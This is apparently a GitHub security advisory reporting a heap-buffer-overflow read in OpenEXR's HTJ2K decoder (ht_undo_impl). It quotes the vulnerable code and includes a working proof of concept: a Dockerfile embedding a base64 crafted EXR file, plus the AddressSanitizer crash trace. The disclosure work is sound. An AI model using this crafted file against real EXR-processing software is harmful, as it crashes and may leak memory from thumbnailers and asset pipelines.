GHSA-gjpj-qv64-vwhf
CVE Information
Summary
OpenEXR's HTJ2K (High-Throughput JPEG 2000) decoder,
ht_undo_impl()in OpenEXRCore, copies decoded pixels out of a per-line OpenJPH buffer using the EXR channel's declaredwidthas the iteration count. The codestream embedded in the EXR chunk can declare different (smaller) tile/line dimensions than the EXR header advertises, butht_undo_impl()does not validate this — it pullswidth32-bit samples fromcur_line->i32[]without checking the OpenJPH line buffer's actual length. A crafted EXR file produces a 4-byte heap-buffer-overflow READ immediately after a buffer allocated byojph::local::codestream::finalize_alloc(). The bug is reachable through the standard scanline-decode entry point used by every consumer ofexr_decoding_run/Imf::checkOpenEXRFile, including thumbnailers, asset pipelines, and theexrcheckutility — i.e. any application that opens untrusted EXR files. The result is a deterministic crash (DoS) and potential adjacent-heap leak.Details
OpenEXR 3.x added a new lossy/lossless compression mode "HTJ2K" backed by the bundled OpenJPH codestream library. For each scanline chunk,
ht_undo_impl()constructs anojph::codestream, has it parse the embedded JP2 codestream, then copies decoded samples component-by-component out of OpenJPH's per-line buffers (cur_line->i32[]) into the destination raster.Vulnerable Code
From
src/lib/OpenEXRCore/internal_ht.cppat HEAD15b620b(lines 296–321):for (int16_t c = 0; c < decode->channel_count; c++) { int file_c = cs_to_file_ch[c].file_index; cur_line = cs.pull (next_comp); assert (next_comp == c); if (decode->channels[file_c].data_type == EXR_PIXEL_HALF) { int16_t* channel_pixels = (int16_t*) (line_pixels + cs_to_file_ch[c].raster_line_offset); for (int32_t p = 0; p < decode->channels[file_c].width; p++) { *channel_pixels++ = cur_line->i32[p]; // ← line 309: OOB READ } } else { int32_t* channel_pixels = (int32_t*) (line_pixels + cs_to_file_ch[c].raster_line_offset); for (int32_t p = 0; p < decode->channels[file_c].width; p++) { *channel_pixels++ = cur_line->i32[p]; // ← same pattern, int32 path } } }Plain explanation: the loop trusts
decode->channels[file_c].width(a value derived from the EXR header) as the number of samples available incur_line->i32[](a buffer sized by the HTJ2K codestream). When the embedded codestream declares smaller per-component dimensions than the EXR channel layout requires, the loop walks off the end of the OpenJPH-allocated line buffer.Precise explanation: -
cs_to_file_ch[c].file_indexresolves to an EXR channel index.decode->channels[file_c].widthis set by the EXR scanline geometry (data window). -cur_line = cs.pull(next_comp)returns OpenJPH's internalojph::line_buf*. Its.i32storage is allocated insideojph::local::codestream::finalize_alloc()based on the JP2 codestream's SIZ marker (Xsiz - XOsiz, downsampled per component). - These two width values are never cross-validated. A codestream advertising a smaller line size than the EXR data window produces ani32array shorter thanwidth, and the loop reads past the allocation. - ASAN observes a 4-byte READ at0x...e5429, exactly 0 bytes past a21033-byte allocation — i.e.p == width-1reads the dword starting at the byte just after the allocation's last addressable octet.The fix in commit
15b620b("Cast to size_t to avoid int overflow in ht_undo_impl", 2026-05-06) addresses a different failure mode in the same function — integer overflow inbpl,computedoffset, and theline_pixelsstride increment whenwidth * bytes_per_elementoverflows 32 bits. It does not add any check againstcur_line's actual sample count, and the PoC still reprodfuces against15b620b.PoC
To construct the PoC we rely on a Dockerfile that mimics the building of a fuzzer and contains the payload in a base64 decoded format:
FROM gcr.io/oss-fuzz-base/base-builder RUN apt-get update && apt-get install -y make autoconf automake libtool zlib1g-dev git # Pin to current HEAD as of 2026-05-06 (still vulnerable; commit 15b620b # fixed integer-overflow in offset math but not the cur_line OOB read at # internal_ht.cpp:309). ENV OPENEXR_COMMIT=15b620b523dd0392cf8144f2629c95db3525e2ac RUN git clone https://github.com/AcademySoftwareFoundation/openexr $SRC/openexr WORKDIR $SRC/openexr RUN git checkout $OPENEXR_COMMIT # Patch out failing test (mirrors OSS-Fuzz openexr Dockerfile) RUN sed -i "s/TEST (testAttrBytes/\/\/TEST (testAttrBytes/g" $SRC/openexr/src/test/OpenEXRCoreTest/main.cpp # Required build flags for symbolized stack traces with ASAN ENV SANITIZER=address ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address" ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address -stdlib=libc++" ENV LDFLAGS="-fsanitize=address" ENV LIB_FUZZING_ENGINE=-fsanitize=fuzzer # Build using OpenEXR's oss-fuzz preset (mirrors projects/openexr/build.sh) RUN export BUILD_DIR=$WORK/_build.oss-fuzz && \ mkdir -p $BUILD_DIR $OUT && \ ./src/test/oss-fuzz/oss-fuzz_build.sh # PoC embedded as base64 (674 bytes, OpenEXR scanline image triggering OOB read # at internal_ht.cpp:309). Decoded at image-build time so the Dockerfile is # self-contained and requires no external build context. RUN echo 'di8xAQIAAAB0eXBlAHN0cmluZwANAAAAc2NhbmxpbmVpbWFnZW5hbWUAc3RyaW5nAAQAAABtYWluZGF0YVdpbmRvdwBib3gyaQAQAAAAAAAAAAAAAAD/BwAAAAAAAGRpc3BsYXlXaW5kb3cAYm94MmkAEAAAAAAAAAAAAAAA/wcAAAAAAABjb21wcmVzc2lvbgBjb21wcmVzc2lvbgABAAAAC2xpbmVPcmRlcgBsaW5lT3JkZXIAAQAAAABwaXhlbEFzcGVjdFJhdGlvAGZsb2F0AAQAAAAAAIA/c2NyZWVuV2luZG93Q2VudGVyAHYyZgAIAAAAAAAAAAAAAABzY3JlZW5XaW5kb3dXaWR0aABmbG9hdAAEAAAAAACAP2NoYW5uZWxzAGNobGlzdAATAAAAUgABAAAAAAAAAAEAAAABAAAAAABOAQAAAAAAAAAAAABMAQAASFQAAAAEAAEAAP9P/1EAKcIAAAAIAAAAAAEAAAAAAAAAAAAACAAAAAABAAAAAAAAAAAAAY//Af9QAAgAAgAAAAr/UgANAQIAAQAABQNAAVf/XAATIIiQkJCQkJCQkJCQkJCIiIj/dgAGAACPA/9kABcAAU9wZW5KUEggVmVyIDAuMjYuMy7/kAAKAAAAAADEAAH/k8AAL6sA/nf/W/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/3Z/+9/+t/9t/34AAAc4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4GtHOBrRzga0c4Go4AwAAAAAA/9k=' \ | base64 -d > /tmp/poc CMD ["/out/openexr_exrcorecheck_fuzzer", "/tmp/poc"]Simply build and run the Docker container:
docker build -t poc-1 . docker run poc-1 ... INFO: Running with entropic power schedule (0xFF, 100). INFO: Seed: 3813788719 /out/openexr_exrcorecheck_fuzzer: Running 1 inputs 1 time(s) each. Running: /tmp/poc ================================================================= ==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7e6a413e5428 at pc 0x560aa6699d01 bp 0x7ffe50c1dd10 sp 0x7ffe50c1dd08 READ of size 4 at 0x7e6a413e5428 thread T0 #0 0x560aa6699d00 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:309:45 #1 0x560aa6699d00 in internal_exr_undo_ht /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:342:16 #2 0x560aa6645457 in exr_uncompress_chunk /src/openexr/src/lib/OpenEXRCore/compression.c:546:14 #3 0x560aa666c10a in exr_decoding_run /src/openexr/src/lib/OpenEXRCore/decoding.c:580:14 #4 0x560aa647934c in Imf_4_0::(anonymous namespace)::readCoreScanlinePart(_priv_exr_context_t*, int, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1447:18 #5 0x560aa647934c in Imf_4_0::(anonymous namespace)::checkCoreFile(_priv_exr_context_t*, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1675:17 #6 0x560aa647762c in Imf_4_0::(anonymous namespace)::runCoreChecks(char const*, unsigned long, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1817:15 #7 0x560aa647762c in Imf_4_0::checkOpenEXRFile(char const*, unsigned long, bool, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1849:16 #8 0x560aa6476008 in LLVMFuzzerTestOneInput /src/openexr/src/test/oss-fuzz/openexr_exrcorecheck_fuzzer.cc:14:5 #9 0x560aa631393d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13 #10 0x560aa62fe6b2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6 #11 0x560aa6304580 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9 #12 0x560aa63300b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10 #13 0x7fca423de082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) #14 0x560aa62f779d in _start (/out/openexr_exrcorecheck_fuzzer+0x9c79d) 0x7e6a413e5429 is located 0 bytes after 21033-byte region [0x7e6a413e0200,0x7e6a413e5429) allocated by thread T0 here: #0 0x560aa6432294 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3 #1 0x560aa66d8fcb in ojph::mem_fixed_allocator::alloc() /src/openexr/external/OpenJPH/src/core/openjph/ojph_mem.h:93:17 #2 0x560aa66d8fcb in ojph::local::codestream::finalize_alloc() /src/openexr/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:213:18 #3 0x560aa66de9c3 in ojph::local::codestream::read() /src/openexr/external/OpenJPH/src/core/codestream/ojph_codestream_local.cpp:898:13 #4 0x560aa6698928 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:227:8 #5 0x560aa6698928 in internal_exr_undo_ht /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:342:16 #6 0x560aa6645457 in exr_uncompress_chunk /src/openexr/src/lib/OpenEXRCore/compression.c:546:14 #7 0x560aa666c10a in exr_decoding_run /src/openexr/src/lib/OpenEXRCore/decoding.c:580:14 #8 0x560aa647934c in Imf_4_0::(anonymous namespace)::readCoreScanlinePart(_priv_exr_context_t*, int, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1447:18 #9 0x560aa647934c in Imf_4_0::(anonymous namespace)::checkCoreFile(_priv_exr_context_t*, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1675:17 #10 0x560aa647762c in Imf_4_0::(anonymous namespace)::runCoreChecks(char const*, unsigned long, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1817:15 #11 0x560aa647762c in Imf_4_0::checkOpenEXRFile(char const*, unsigned long, bool, bool, bool) /src/openexr/src/lib/OpenEXRUtil/ImfCheckFile.cpp:1849:16 #12 0x560aa6476008 in LLVMFuzzerTestOneInput /src/openexr/src/test/oss-fuzz/openexr_exrcorecheck_fuzzer.cc:14:5 #13 0x560aa631393d in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerLoop.cpp:619:13 #14 0x560aa62fe6b2 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:329:6 #15 0x560aa6304580 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerDriver.cpp:865:9 #16 0x560aa63300b2 in main /src/llvm-project/compiler-rt/lib/fuzzer/FuzzerMain.cpp:20:10 #17 0x7fca423de082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) (BuildId: 5792732f783158c66fb4f3756458ca24e46e827d) SUMMARY: AddressSanitizer: heap-buffer-overflow /src/openexr/src/lib/OpenEXRCore/internal_ht.cpp:309:45 in ht_undo_impl(_exr_decode_pipeline*, void const*, unsigned long, void*, unsigned long) Shadow bytes around the buggy address: 0x7e6a413e5180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7e6a413e5200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7e6a413e5280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7e6a413e5300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7e6a413e5380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7e6a413e5400: 00 00 00 00 00[01]fa fa fa fa fa fa fa fa fa fa 0x7e6a413e5480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7e6a413e5500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7e6a413e5580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7e6a413e5600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7e6a413e5680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==1==ABORTINGAttribution
This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.